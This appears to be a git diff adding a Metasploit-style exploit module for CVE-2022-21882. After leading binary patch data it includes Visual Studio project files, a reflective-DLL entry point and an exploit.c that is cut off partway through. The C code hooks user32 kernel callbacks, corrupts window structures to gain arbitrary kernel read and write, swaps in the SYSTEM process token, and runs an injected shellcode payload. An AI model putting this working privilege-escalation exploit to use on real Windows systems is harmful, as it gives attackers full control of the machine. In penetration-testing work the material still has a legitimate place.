z%6QGmSr{rELyj3q{`dC(dlKR~I3y&ZBr~T6FogNLp0qE+Belzq@%SBKp(ROVw zyYetLok;%fpwiy)zeSf;jy&tHbU5`t-TqsW^DmF|pMU65O3FX~5aYi*ssGXgKC4AY zZc;M-X|quOOOyGpI@tg4WN?X!C%L8KYDg&np z;g6+XPFIuTGq$8hl4G#UL;pX+50k@xgz(>`-AHTAeoZS+!=&OLW&fu_BmL*gezxF#U*A>Ip4QIN`YRfbX|wTZoqPTVf0Wt(@j9;m+x|}{ zU2S@Hdi8#iyS1A{eYeN+4=o5NFEBYCsso9c-+ zn@#O0VYkh~{m#TE`$una*tEIf5pyDKw?eG$E|)=mRmO@xeuPV4VhLB>N*0n;E;ptF`(*4c`&Sri8R z38IH?1&??$wi3D-?BRnoHxvdu)CS+NCU)0wGC2%KJL9RfzUynxX z)Gl-^m2fF!5ak_&hh%elUExIw*6S_CJ0TKv(GqF3$ z6M6)=8bawYfQM!MC}@>+q7#0nQ5Yqtk#*uISq}kC5Ca_-ER)@dw`85zzo(S`K=4ah zKMu~q`m`|YOEf?zkHj2VKMFSPgSlq7E5VVF4Cq9Itgi(-_r*(A;I0LAkW%P+@YjJT zPv|uNRW%580Nr;m=D#3xtPoHSp*#}T$~y6FS>FvFko6D2wefaW0d0qCV*IV2Fe6|8^^h0X+=vmwFIhk`R96wfR$ z2SUfn15e2ACE$8dYBR|oy}^RQ)0-qJWxX2gf}xY#{lGa8ibn??fUL!_J_H*Nlj2c= z{tyZi0PdFEiQ&WHj_?s+`Ut6PGr;VTs8_g~z-tiN_Xap{lvE~x;8+NyVLUin)^%Va zgu)YP4HN0amZMQmh|?RK|2*m%dK8!sp)f^Yt*qC9LWtxZ4894;K$sn14TSns9oT-1 zlm<082148Nb$SoZG5$?ns2-RaA_yvT*90&W(mGl5G0g{36iQwm?Bg_SGYJ`-wFfaw8 zdINP0&Wywugz&S#4)ZZ4L+=DmgHZfoU^0Y`OS}UqqA&|ECP!hd9^$zH4vUt;j|5LI zL|=pZ8Bkm#r6Cxc7=tC&aMyxwLMWX(zyb)xUj&|(^)q18#aKUt@ZR8Lh#C46FdlOP zCg{YEA)BFBgRPcG@%Vy0Wt|uep}fR{AIdthDem^taXS%ZofsnP#Mflq0H(+~@d)Gw zj#~x}d|8S=5Znr(IPKTg(VDw*h&$HZ5${0M(DB+rwhTgjBn9-q{a_8;M}n_I#zS8V z9)lD^KMuOYqy0d42NywhK#u_jC14zbJ`|h<34l(VvkP8(~AYq zLnsXwz-5V&dm!Bj~eUYX81qb~45U#BTy`Zp3;g=(oV7o6%39$AibVF}4T#ad1wGl;$Wf z=}jCD?rXu!?U>zwZUUF>K-)-0-v?_T?$GPNl$}z(h_CFzctv5r-`_#rp_hZkcX3?^ zoygvk%8KYK>%>d%<2nP!x<zi?)aG5#R<0m2Ek=b03Zc_uXKYQO+Y6lq!us!QdgWNe$wWG_FEIh4 z-GKapSrB*VCE#ci@(bMr4$nb7K_3Zr+K=NxCniDGLSG9u$(7Qt0v2VawQ19(W*i$P71)J}-gAXHXi;7Ldsj(Y)gI3VRE z1$6#EN}C3p525y!0tS94?MuvpFs$1%fgXpXa#MlD5E@JE*YeRCzoNrv8wgMQ7NUb* z3Vwb>Dt|LL`x6`&?mE!#bJPuV4R{=q0-gBMF|=U{1Fk-fYkKGgu;mGagYFIXflwYb zV6?2qfWJYge#^lvC#5{5fELID>`P2Oh4kQEr)A*w5`>|13h45c6sJ453lfYlyTNX! z;SRkg_|dnRL4{rn9{CROLO%+AUn=QkV8}U?+h$z5f{V}N_XEP{LBmCyo1hc>{(yFa zFacmZgxUb{JcROf0c=%@Q19alrU!=C00uK2V^$qthu_8X;ml#&E-A_T|?3u=_&}-g{lU5ftV4- z3RaR%?zL#okP_(hJQO|GWWceA^h^`!M0zfXbRs=3g?z9%tDC_8b z|K9!!C9t_+;87xzksm|1724`wBb(#81LuN{*F|#Ps zoLQP_$+Tv&ELD~|OOq9xrOnc1>9Y)3DOtv>qAYV(X_h6+n#HnJ+3IXfc5t>fTbHfR zHe{z{8?%eD&Do{dmTYS_GpS5!lg1Qm(wcN8y~$uoF&RxoCbOy3WHDJyEJu~2&e7xq z=V)_uIrS_mHdmLc&!vakaLSa+z&k^o;g>-<56h795r~|GATMFaO;lDQ@{^1l z?M9wV$W=*JSynl6Rfl{jvkj(Xq;@ybYeI^Pk>(Plx(w+qN6PDvb|q4;EKn7A7pM#L z1&IZQg5-jfg53qi0#iXzL2-e(proL*psc`BP+njys4HNF%0gA4ccHq_uTWDMSQuOw zQm8EqE7TQ673vEU3k`+Ig(-!*3yp=Q!lJ_BLUUnhVOgQ2u)NS(SXao@INwoq8OmK&|c zIwMO}rm9lCQ`M<{sdf96x!$>cxq-PMxna3cxrw>Sxw~^sxy899xn;TKxple9JnuZe zyuiGWys*5eyu`fZyxn=GyyCo)yt2IVyt+JPzIVP~eqeq`epr4~eqw%d{_cEJesO+D zep!BbeqFv2rQ=r+SP)VWRuF|UN=EsZP&OqfmvWSe66N8CvIs#rM4=3lk$)5NUV@yL zQ?7Awfa^rGYbEmRhx~>huTjWnGV*9b{z{Oya^y>iJo%*triP@3rADPDrY5KEPBo<# zravvC z-r0WHf!QJ1VcAjHiP_27yR%K%#n~m{GXbLffnW9XIXq~&!GKTijd`*6EzBXT%ug^E+r{o*+i}KC+rTLb8Yd%ANRTpRq zf(x_-I`motdaMz>)r_8MK`&+Kp=$KbVDwBKdZht9(um$jebIt`i1O9qegVMH3)Sd> z!RUQD^gIK4oe@3GjNWEJPh;q1>Qqf?aH=*{m#R-Sq^6`AQ;Sl~simowRBI|rQ>CfX zG-<(U+B997KFyGpl4eXRN;9XGVg$FQv2+#2Zw+yA%{`2PU**eC-4 literal 0 HcmV?d00001 diff --git a/external/source/exploits/CVE-2022-21882/.gitignore b/external/source/exploits/CVE-2022-21882/.gitignore new file mode 100644 index 0000000000..922765f943 --- /dev/null +++ b/external/source/exploits/CVE-2022-21882/.gitignore @@ -0,0 +1,2 @@ +~AutoRecover* +.vs/* diff --git a/external/source/exploits/CVE-2022-21882/CVE-2022-21882.sln b/external/source/exploits/CVE-2022-21882/CVE-2022-21882.sln new file mode 100755 index 0000000000..fd60876919 --- /dev/null +++ b/external/source/exploits/CVE-2022-21882/CVE-2022-21882.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.0.32112.339 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2022-21882", "CVE-2022-21882.vcxproj", "{15A43727-B35C-44C5-B9A5-26920658FC4D}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {15A43727-B35C-44C5-B9A5-26920658FC4D}.Debug|x64.ActiveCfg = Debug|x64 + {15A43727-B35C-44C5-B9A5-26920658FC4D}.Debug|x64.Build.0 = Debug|x64 + {15A43727-B35C-44C5-B9A5-26920658FC4D}.Debug|x86.ActiveCfg = Debug|Win32 + {15A43727-B35C-44C5-B9A5-26920658FC4D}.Debug|x86.Build.0 = Debug|Win32 + {15A43727-B35C-44C5-B9A5-26920658FC4D}.Release|x64.ActiveCfg = Release|x64 + {15A43727-B35C-44C5-B9A5-26920658FC4D}.Release|x64.Build.0 = Release|x64 + {15A43727-B35C-44C5-B9A5-26920658FC4D}.Release|x86.ActiveCfg = Release|Win32 + {15A43727-B35C-44C5-B9A5-26920658FC4D}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {0CED6045-2F20-480C-BC68-7471D40E453B} + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/CVE-2022-21882/CVE-2022-21882.vcxproj b/external/source/exploits/CVE-2022-21882/CVE-2022-21882.vcxproj new file mode 100755 index 0000000000..f7c1dd7b88 --- /dev/null +++ b/external/source/exploits/CVE-2022-21882/CVE-2022-21882.vcxproj @@ -0,0 +1,243 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + {15a43727-b35c-44c5-b9a5-26920658fc4d} + Win32Proj + CVE_2022_21882 + 10.0 + + + + DynamicLibrary + true + v142 + MultiByte + + + DynamicLibrary + false + v142 + false + MultiByte + + + DynamicLibrary + true + v142 + MultiByte + + + DynamicLibrary + false + v142 + false + MultiByte + + + + + + + + + + + + + + + + + + + + + true + $(Configuration)\$(PlatformShortName)\ + $(Configuration)\$(PlatformShortName)\ + $(ProjectName).$(PlatformShortName) + + + true + $(Configuration)\$(PlatformShortName)\ + $(Configuration)\$(PlatformShortName)\ + $(ProjectName).$(PlatformShortName) + + + false + $(Configuration)\$(PlatformShortName)\ + $(Configuration)\$(PlatformShortName)\ + $(ProjectName).$(PlatformShortName) + false + + + false + $(Configuration)\$(PlatformShortName)\ + $(Configuration)\$(PlatformShortName)\ + $(ProjectName).$(PlatformShortName) + false + + + + NotUsing + Level3 + true + WIN32;_DEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;UMDF_USING_NTSTATUS;%(PreprocessorDefinitions) + false + stdafx.h + ..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;..\..\include\windows;%(AdditionalIncludeDirectories) + ProgramDatabase + true + OnlyExplicitInline + true + MultiThreaded + false + + + Windows + true + false + true + $(OutDir)$(TargetName).pdb + $(OutDir)$(TargetName).map + false + $(OutDir)$(ProjectName).lib + %(AdditionalLibraryDirectories) + + + + + NotUsing + Level3 + true + _DEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;UMDF_USING_NTSTATUS;%(PreprocessorDefinitions) + false + stdafx.h + ..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;..\..\include\windows;%(AdditionalIncludeDirectories) + ProgramDatabase + true + OnlyExplicitInline + true + MultiThreaded + false + + + Windows + true + false + true + $(OutDir)$(TargetName).pdb + $(OutDir)$(TargetName).map + false + $(OutDir)$(ProjectName).lib + %(AdditionalLibraryDirectories) + + + + + NotUsing + Level3 + false + false + + + WIN32;NDEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;UMDF_USING_NTSTATUS;%(PreprocessorDefinitions) + false + stdafx.h + ..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;..\..\include\windows;%(AdditionalIncludeDirectories) + true + OnlyExplicitInline + true + MultiThreaded + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + + + Windows + true + true + false + false + %(AdditionalLibraryDirectories) + false + $(OutDir)$(TargetName).map + $(OutDir)$(TargetName).pdb + false + $(OutDir)$(ProjectName).lib + + + + + NotUsing + Level3 + false + false + + + NDEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;UMDF_USING_NTSTATUS;%(PreprocessorDefinitions) + false + stdafx.h + ..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;..\..\include\windows;%(AdditionalIncludeDirectories) + true + OnlyExplicitInline + true + MultiThreaded + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + + + Windows + true + true + false + false + %(AdditionalLibraryDirectories) + false + $(OutDir)$(TargetName).map + $(OutDir)$(TargetName).pdb + false + $(OutDir)$(ProjectName).lib + + + IF EXIST "..\..\..\..\data\exploits\$(ProjectName)\" GOTO COPY + mkdir "..\..\..\..\data\exploits\$(ProjectName)\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\data\exploits\$(ProjectName)\" + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/CVE-2022-21882/dllmain.c b/external/source/exploits/CVE-2022-21882/dllmain.c new file mode 100755 index 0000000000..fa4597a830 --- /dev/null +++ b/external/source/exploits/CVE-2022-21882/dllmain.c @@ -0,0 +1,38 @@ +#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN +#include "ReflectiveLoader.c" + +#include +#include +#include + +DWORD Exploit(PVOID pPayload); + +LPVOID main(LPVOID lpReserved) { + Exploit(lpReserved); + return; +} + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + switch (dwReason) + { + case DLL_QUERY_HMODULE: + hAppInstance = hinstDLL; + if (lpReserved != NULL) + { + *(HMODULE*)lpReserved = hAppInstance; + } + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + main(lpReserved); + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return TRUE; +} + diff --git a/external/source/exploits/CVE-2022-21882/exploit.c b/external/source/exploits/CVE-2022-21882/exploit.c new file mode 100755 index 0000000000..70e90cbbdc --- /dev/null +++ b/external/source/exploits/CVE-2022-21882/exploit.c @@ -0,0 +1,437 @@ +#include +#include + +#include "common.h" +#include "definitions.h" +#include "exploit.h" + +#define ConsoleAcquireDisplayOwnership 6 +#define BYPASS_BUILD 19042 +typedef NTSTATUS(NTAPI* fxxxClientAllocWindowClassExtraBytes)(PSIZE_T pSize); +typedef NTSTATUS(NTAPI* fxxxClientFreeWindowClassExtraBytes)(PVOID pAddress); +typedef DWORD64 QWORD; + +fHMValidateHandle HMValidateHandle = NULL; +fNtCallbackReturn NtCallbackReturn = NULL; +fNtUserMessageCall NtUserMessageCall = NULL; +fNtUserConsoleControl NtUserConsoleControl = NULL; +fRtlGetNtVersionNumbers RtlGetNtVersionNumbers = NULL; +fxxxClientAllocWindowClassExtraBytes g_xxxClientAllocWindowClassExtraBytes = NULL; +fxxxClientFreeWindowClassExtraBytes g_xxxClientFreeWindowClassExtraBytes = NULL; + + +/* min, max, magic, ... */ +HWND g_hWnd[50] = { 0 }; +tagWND* g_pWnd[50] = { 0 }; +tagMENU* g_pFakeMenu = 0; + +DWORD g_dwBuild = 0; +DWORD g_dwRandom = 0; +ULONG_PTR* g_pUser32CallbackTable = NULL; +QWORD g_extra_to_wnd1_offset = 0; +PVOID g_pMinBaseAddress = 0; +SIZE_T g_uRegionSize = 0; + + +const EPROCESS_OFFSETS* g_pEprocessOffsets = NULL; + + +ULONG_PTR GetPEB(void) { + return (ULONG_PTR)__readgsqword(0x60); +} + + +ULONG_PTR* GetUser32CallbackTable() { + return *(ULONG_PTR**)((PCHAR)GetPEB() + 0x58); +} + + +HWND GuessHwnd(PVOID pBaseAddress, SIZE_T uRegionSize) { + tagWND* pWnd; + + for (PBYTE pCursor = (PBYTE)pBaseAddress; (ULONG_PTR)pCursor + sizeof(tagWND) < (ULONG_PTR)pBaseAddress + uRegionSize; pCursor += 2) { + pWnd = (tagWND*)pCursor; + + if (pWnd->dwStyle != WS_DISABLED) + continue; + if (pWnd->dwExStyle != WS_EX_NOACTIVATE) + continue; + if (pWnd->cbWndExtra != g_dwRandom) + continue; + return (HWND)pWnd->hWnd; + } + return NULL; +} + + +NTSTATUS Hook_xxxClientAllocWindowClassExtraBytes(PSIZE_T pSize) { + if ((*(PDWORD)pSize & 0xffffffff) == g_dwRandom) { + HWND hwndMagic = g_hWnd[2]; + if (hwndMagic == NULL) { + hwndMagic = GuessHwnd(g_pMinBaseAddress, g_uRegionSize); + dprintf("hMagicWnd: 0x%016x (guessed)", hwndMagic); + g_hWnd[2] = hwndMagic; + g_pWnd[2] = HMValidateHandle(hwndMagic, TYPE_WINDOW); + } + if (hwndMagic) { + // this checks if exploitation is going to proceed or not, if not *don't* corrupt the window because that could trigger a BSOD + if ((g_pWnd[0]->pExtraBytes < g_pWnd[1]->OffsetToDesktopHeap) && (g_pWnd[0]->pExtraBytes < g_pWnd[2]->OffsetToDesktopHeap)) { + dprintf("Set magicWND->dwExtraFlag |= 0x800"); + ULONG64 ConsoleCtrlInfo[2] = { (ULONG64)hwndMagic, 0 }; + NTSTATUS ret = NtUserConsoleControl(ConsoleAcquireDisplayOwnership, &ConsoleCtrlInfo, sizeof(ConsoleCtrlInfo)); + + // Set magicWND->pExtraBytes to fake offset + dprintf("Return faked pExtraBytes: %llx", g_pWnd[0]->OffsetToDesktopHeap); + ULONG64 Result[3] = { g_pWnd[0]->OffsetToDesktopHeap, 0, 0 }; + return NtCallbackReturn(&Result, sizeof(Result), 0); + } + } + } + return g_xxxClientAllocWindowClassExtraBytes(pSize); +} + + +NTSTATUS Hook_xxxClientFreeWindowClassExtraBytes(tagWND **ppWnd) { + tagWND* pWnd = *ppWnd; + + // block the free operation on this window for stability + if (pWnd->hWnd == g_hWnd[2]) { + return 1; + } + return g_xxxClientFreeWindowClassExtraBytes(ppWnd); +} + + +BOOL SwapHooks(ULONG_PTR fAllocHook, ULONG_PTR fFreeHook) { + DWORD dwOldProtect; + ULONG_PTR* ptrAddr = NULL; + + VirtualProtect(&g_pUser32CallbackTable[0x7b], sizeof(PVOID) * 2, PAGE_READWRITE, &dwOldProtect); + + ptrAddr = &g_pUser32CallbackTable[0x7b]; /* 0x7b is the index of xxxClientAllocWindowClassExtraBytes */ + g_xxxClientAllocWindowClassExtraBytes = *(fxxxClientAllocWindowClassExtraBytes*)ptrAddr; + *(ULONG_PTR*)ptrAddr = fAllocHook; + + ptrAddr = &g_pUser32CallbackTable[0x7c]; /* 0x7c is the index of xxxClientFreeWindowClassExtraBytes */ + g_xxxClientFreeWindowClassExtraBytes = *(fxxxClientFreeWindowClassExtraBytes*)ptrAddr; + *(ULONG_PTR*)ptrAddr = fFreeHook; + + VirtualProtect(&g_pUser32CallbackTable[0x7b], sizeof(PVOID) * 2, dwOldProtect, &dwOldProtect); + return TRUE; +} +#define InstallHooks() SwapHooks((ULONG_PTR)Hook_xxxClientAllocWindowClassExtraBytes, (ULONG_PTR)Hook_xxxClientFreeWindowClassExtraBytes) +#define UninstallHooks() SwapHooks((ULONG_PTR)g_xxxClientAllocWindowClassExtraBytes, (ULONG_PTR)g_xxxClientFreeWindowClassExtraBytes); + + +QWORD KernelRead(ULONG_PTR DestAddr) { + const ULONG_PTR KernelAddressMask = 0xffff800000000000; + if ((DestAddr & KernelAddressMask) != KernelAddressMask) { + dprintf("Invalid address: %llx", DestAddr); + // if the address doesn't look like a kernel mode address then don't read from it + return 0; + } + + MENUBARINFO mbi; + memset(&mbi, 0, sizeof(MENUBARINFO)); + mbi.cbSize = sizeof(MENUBARINFO); + + RECT Rect = { 0 }; + GetWindowRect(g_hWnd[1], &Rect); + + *(PULONG64)g_pFakeMenu->rgItems = DestAddr - 0x40; + GetMenuBarInfo(g_hWnd[1], OBJID_MENU, 1, &mbi); + DWORD val[2] = { 0 }; + val[0] = mbi.rcBar.left - Rect.left; + val[1] = mbi.rcBar.top - Rect.top; + return *(QWORD*)val; +} + + +ULONG_PTR KernelWrite(ULONG_PTR DestAddr, ULONG_PTR Data) { + ULONG_PTR uOriginal = SetWindowLongPtrA(g_hWnd[0], (int)(g_extra_to_wnd1_offset + offsetof(tagWND, pExtraBytes)), DestAddr); + ULONG_PTR uValue = (ULONG_PTR)SetWindowLongPtrA(g_hWnd[1], 0, Data); + SetWindowLongPtrA(g_hWnd[0], (int)(g_extra_to_wnd1_offset + offsetof(tagWND, pExtraBytes)), uOriginal); + return uValue; +} + + +BOOL ResolveRequirements(void) { + HMODULE hNtdll = LoadLibrary("ntdll"); + HMODULE hUser32 = LoadLibrary("user32"); + HMODULE hWin32u = LoadLibrary("win32u"); + PBYTE pIsMenu = NULL; + DWORD dwCursor = 0; + + if ((!hNtdll) || (!hUser32) || (!hWin32u)) { + return FALSE; + } + + /* find all of the functions we need */ + if (!(NtCallbackReturn = (fNtCallbackReturn)GetProcAddress(hNtdll, "NtCallbackReturn"))) { + return FALSE; + } + + if (!(RtlGetNtVersionNumbers = (fRtlGetNtVersionNumbers)GetProcAddress(hNtdll, "RtlGetNtVersionNumbers"))) { + return FALSE; + } + + if (!(NtUserConsoleControl = (fNtUserConsoleControl)GetProcAddress(hWin32u, "NtUserConsoleControl"))) { + return FALSE; + } + + if (!(NtUserMessageCall = (fNtUserMessageCall)GetProcAddress(hWin32u, "NtUserMessageCall"))) { + return FALSE; + } + + if (!(pIsMenu = (PBYTE)GetProcAddress(hUser32, "IsMenu"))) { + return FALSE; + } + + while (*(pIsMenu + dwCursor) != 0xe8) { + if (dwCursor++ > 0x20) { + return FALSE; + } + } + + HMValidateHandle = (fHMValidateHandle)(pIsMenu + dwCursor + *(PINT)(pIsMenu + dwCursor + 1) + 5); + + /* find the kernel callback table in user32 */ + if (!(g_pUser32CallbackTable = GetUser32CallbackTable())) { + return FALSE; + } + + /* get the version to determine the necessary eprocess offsets */ + DWORD dwMajor, dwMinor, dwBuild; + RtlGetNtVersionNumbers(&dwMajor, &dwMinor, &dwBuild); + g_dwBuild = dwBuild = LOWORD(dwBuild); + dprintf("Windows Version: %u.%u.%u", dwMajor, dwMinor, dwBuild); + if (!((dwMajor == 10) && (dwMinor == 0))) { + return FALSE; + } + if (dwBuild < 17134) { + return FALSE; + } + /* v1803 - v1809 */ + else if (dwBuild < 18362) { + g_pEprocessOffsets = &EprocessOffsetsWin10v1803; + } + /* v1903 - v1909 */ + else if (dwBuild < 19041) { + g_pEprocessOffsets = &EprocessOffsetsWin10v1903; + } + else if (dwBuild == 19041) { + g_pEprocessOffsets = &EprocessOffsetsWin10v20H1; + } + else if (dwBuild == 19042) { + g_pEprocessOffsets = &EprocessOffsetsWin10v20H2; + } + else if (dwBuild == 19043) { + g_pEprocessOffsets = &EprocessOffsetsWin10v21H1; + } + else if (dwBuild == 19044) { + g_pEprocessOffsets = &EprocessOffsetsWin10v21H2; + } + else { + return FALSE; + } + + return TRUE; +} + + +void UpgradeToken(QWORD qwEprocess) { + QWORD qwEprocessBak = qwEprocess; + DWORD dwPidSelf = GetCurrentProcessId(); + QWORD dwSystemToken = 0; + QWORD dwMyToken = 0; + QWORD qwMyTokenAddr = 0; + + while (!dwSystemToken || !qwMyTokenAddr) { + DWORD dwPidRead = KernelRead(qwEprocess + g_pEprocessOffsets->UniqueProcessId) & 0xffffffff; + if (dwPidRead == 4) + dwSystemToken = KernelRead(qwEprocess + g_pEprocessOffsets->Token); + if (dwPidRead == dwPidSelf) + qwMyTokenAddr = qwEprocess + g_pEprocessOffsets->Token; + qwEprocess = KernelRead(qwEprocess + g_pEprocessOffsets->ActiveProcessLinks) - g_pEprocessOffsets->ActiveProcessLinks; + + if (qwEprocessBak == qwEprocess) + break; + } + + KernelWrite(qwMyTokenAddr, dwSystemToken); +} + + +void ExecutePayload(PMSF_PAYLOAD pMsfPayload) { + if (!pMsfPayload) + return; + PVOID pPayload = VirtualAlloc(NULL, pMsfPayload->dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (!pPayload) + return; + CopyMemory(pPayload, &pMsfPayload->cPayloadData, pMsfPayload->dwSize); + CreateThread(NULL, 0, pPayload, NULL, 0, NULL); +} + + +DWORD Exploit(PVOID pPayload) { + dprintf("Starting exploit..."); + + if (!ResolveRequirements()) { + dprintf("Failed to resolve requirements"); + return 0; + } + + srand(time(0) & 0xffffffff); + g_dwRandom = (rand() % 255 + 0x1234) | 1; + dprintf("dwRandom: 0x%08x", g_dwRandom); + + WNDCLASSEX wndClass; + memset(&wndClass, 0, sizeof(WNDCLASSEX)); + + wndClass.cbSize = sizeof(WNDCLASSEX); + wndClass.lpfnWndProc = DefWindowProc; + wndClass.style = CS_VREDRAW | CS_HREDRAW; + wndClass.cbWndExtra = 0x20; + wndClass.hInstance = NULL; + wndClass.lpszMenuName = NULL; + wndClass.lpszClassName = "NormalClass"; + RegisterClassEx(&wndClass); + + wndClass.cbWndExtra = g_dwRandom; + wndClass.lpszClassName = "MagicClass"; + RegisterClassEx(&wndClass); + + QWORD extra_to_wnd1_offset = 0; + QWORD extra_to_wnd2_offset = 0; + ULONG64 ConsoleCtrlInfo[2]; + + // Create a fake spmenu + g_pFakeMenu = (tagMENU*)LocalAlloc(LMEM_ZEROINIT, 0x2c8); + if (!g_pFakeMenu) + return 0; + g_pFakeMenu->ref = (PVOID)((ULONG_PTR)g_pFakeMenu + 0xa0); + *g_pFakeMenu->ref = g_pFakeMenu; + // cItems = 1 + g_pFakeMenu->obj28 = (ULONG_PTR)g_pFakeMenu + 0xc0; + *(PULONG64)((PBYTE)g_pFakeMenu->obj28 + 0x2c) = 1; + // rgItems + g_pFakeMenu->rgItems = (ULONG_PTR)g_pFakeMenu + 0x2c0; + // cx / cy must > 0 + g_pFakeMenu->cxMenu = 1; + g_pFakeMenu->cyMenu = 1; + + if (g_dwBuild < BYPASS_BUILD) { + InstallHooks(); + } + for (int j = 0; j < 5; ++j) { + g_pMinBaseAddress = NULL; + + for (int i = 0; i < 50; ++i) { + g_hWnd[i] = CreateWindowEx(WS_EX_NOACTIVATE, "NormalClass", NULL, WS_DISABLED, 0, 0, 0, 0, 0, CreateMenu(), NULL, NULL); + g_pWnd[i] = (tagWND*)HMValidateHandle(g_hWnd[i], TYPE_WINDOW); + + MEMORY_BASIC_INFORMATION MemInfo; + memset(&MemInfo, 0, sizeof(MemInfo)); + VirtualQuery((LPVOID)g_pWnd[i], &MemInfo, sizeof(MemInfo)); + if ((g_pMinBaseAddress == NULL) || ((ULONG_PTR)g_pMinBaseAddress >= (ULONG_PTR)MemInfo.BaseAddress)) { + g_pMinBaseAddress = MemInfo.BaseAddress; + g_uRegionSize = MemInfo.RegionSize; + } + } + for (int i = 2; i < 50; ++i) { + DestroyWindow(g_hWnd[i]); + g_hWnd[i] = NULL; + } + + // Set first window to use kernel desktop heap for extra bytes + ConsoleCtrlInfo[0] = (ULONG64)g_hWnd[0]; + ConsoleCtrlInfo[1] = 0; + NTSTATUS status = NtUserConsoleControl(ConsoleAcquireDisplayOwnership, &ConsoleCtrlInfo, sizeof(ConsoleCtrlInfo)); + + g_hWnd[2] = CreateWindowEx(WS_EX_NOACTIVATE, "MagicClass", NULL, WS_DISABLED, 0, 0, 0, 0, 0, CreateMenu(), NULL, NULL); + g_pWnd[2] = (tagWND*)HMValidateHandle(g_hWnd[2], TYPE_WINDOW); + dprintf("hWnd[0]: 0x%08x 0x%p", g_hWnd[0], g_pWnd[0]); + dprintf("hWnd[1]: 0x%08x 0x%p", g_hWnd[1], g_pWnd[1]); + dprintf("hMagicWnd: 0x%08x 0x%p", g_hWnd[2], g_pWnd[2]); + + extra_to_wnd1_offset = 0; + extra_to_wnd2_offset = 0; + if (g_pWnd[0]->pExtraBytes < g_pWnd[1]->OffsetToDesktopHeap) { + extra_to_wnd1_offset = g_pWnd[1]->OffsetToDesktopHeap - g_pWnd[0]->pExtraBytes; + } + if (g_pWnd[0]->pExtraBytes < g_pWnd[2]->OffsetToDesktopHeap) { + extra_to_wnd2_offset = g_pWnd[2]->OffsetToDesktopHeap - g_pWnd[0]->pExtraBytes; + } + + Sleep(250); // this small delay seems to improve reliability + if (!extra_to_wnd1_offset || !extra_to_wnd2_offset) { + DestroyWindow(g_hWnd[0]); + DestroyWindow(g_hWnd[1]); + DestroyWindow(g_hWnd[2]); + dprintf("Unexpected memory layout, %s %d/5", (j < 4) ? "retrying" : "exiting", j + 1); + if (j == 4) { + LocalFree(g_pFakeMenu); + return 0; + } + continue; + } + dprintf("Offset of tagWND0->pExtraBytes and tagWND1 = %x", extra_to_wnd1_offset); + dprintf("Offset of tagWND0->pExtraBytes and tagWND2 = %x", extra_to_wnd2_offset); + break; + } + g_extra_to_wnd1_offset = extra_to_wnd1_offset; + + if (g_dwBuild < BYPASS_BUILD) { + SetWindowLong(g_hWnd[2], offsetof(tagWND, cbWndExtra), 0xffffffff); // Use OOB to set g_pWnd[0]->cbWndExtra = 0xffffffff + } else { + InstallHooks(); + // Trigger xxxSwitchWndProc -> xxxValidateClassAndSize to call our usermode callbacks + NtUserMessageCall(g_hWnd[2], WM_CREATE, 0, 0, 0, 0, 0); + + // Now magic window's pExtraBytes points to tagWND0 + SetWindowLong(g_hWnd[2], offsetof(tagWND, cbWndExtra) + 0x10, 0xffffffff); // Use OOB to set g_pWnd[0]->cbWndExtra = 0xffffffff + } + + // Set WS_CHILD to set spmenu with GWLP_ID + DWORD style = g_pWnd[1]->dwStyle; + SetWindowLong(g_hWnd[0], (int)(extra_to_wnd1_offset + offsetof(tagWND, dwStyle)), style | WS_CHILD); // Use OOB to set g_pWnd[1]->dwStyle |= WS_CHILD + + ULONG_PTR pMenu = SetWindowLongPtr(g_hWnd[1], GWLP_ID, (ULONG_PTR)g_pFakeMenu); // Set fake spmenu and leak its kernel address + + // Remove WS_CHILD to use GetMenuBarInfo + SetWindowLong(g_hWnd[0], (int)(extra_to_wnd1_offset + offsetof(tagWND, dwStyle)), style); + + dprintf("pWnd[1]->spmenu = 